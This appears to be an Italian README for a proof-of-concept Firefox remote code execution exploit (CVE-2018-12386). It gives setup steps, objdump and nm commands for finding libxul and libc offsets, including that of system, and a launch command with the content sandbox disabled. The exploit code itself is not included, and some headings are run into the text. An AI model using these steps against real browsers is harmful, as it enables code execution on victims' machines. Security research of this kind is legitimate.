
CVE-2018-12386 - Exploit di RCE sandboxato di Firefox per Linux (Firefox <v62.0.3)
Ecco un semplice exploit per la vulnerabilità CVE-2018-12386 scoperta da Niklas Baumstark, Samuel Groß e Bruno Keith.
Questo è principalmente un PoC che ho realizzato per divertimento, non c'è alcun bypass della sandbox e funzionerà solo su una specifica configurazione Linux dove gli offset usati dall'exploit sono già noti (possono essere cambiati in exploit/offsets.js).
Questo exploit funziona per le versioni precedenti a Firefox 62.0.3 e Firefox ESR 60.2.2.
Puoi scaricare le versioni passate di Firefox direttamente dal server FTP di Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
Puoi usare, ad esempio, la versione 62.0.2 per Linux 64-bit: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soSe stai usando Firefox 62.0.2, gli offset forniti in exploit/offsets.js dovrebbero essere quelli corretti.
Per altre versioni, un modo semplice è usare la primitiva addrof per far trapelare l'indirizzo della funzione JavaScript Math.max, quindi trovare l'indirizzo base di libxul.so per l'istanza di Firefox che stai attualmente sfruttando (con cat /proc/$(pidof firefox)/maps per esempio) e sottrarre i due per ottenere l'offset libxul_math_max.
Se stai usando Firefox 62.0.2, gli offset forniti in exploit/offsets.js dovrebbero essere quelli corretti.
Per altre versioni, un modo semplice è usare objdump.
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 e 5c0d968 sono i valori di cui abbiamo bisogno, cioè l'offset di memmove e tolower in libxul.so.
libc.so.6Questi offset dipendono completamente dalla versione di libc che usi.
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
Una volta che hai Firefox e gli offset corretti, puoi testare l'exploit lanciando il seguente comando:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Se vuoi salutare: @lyte__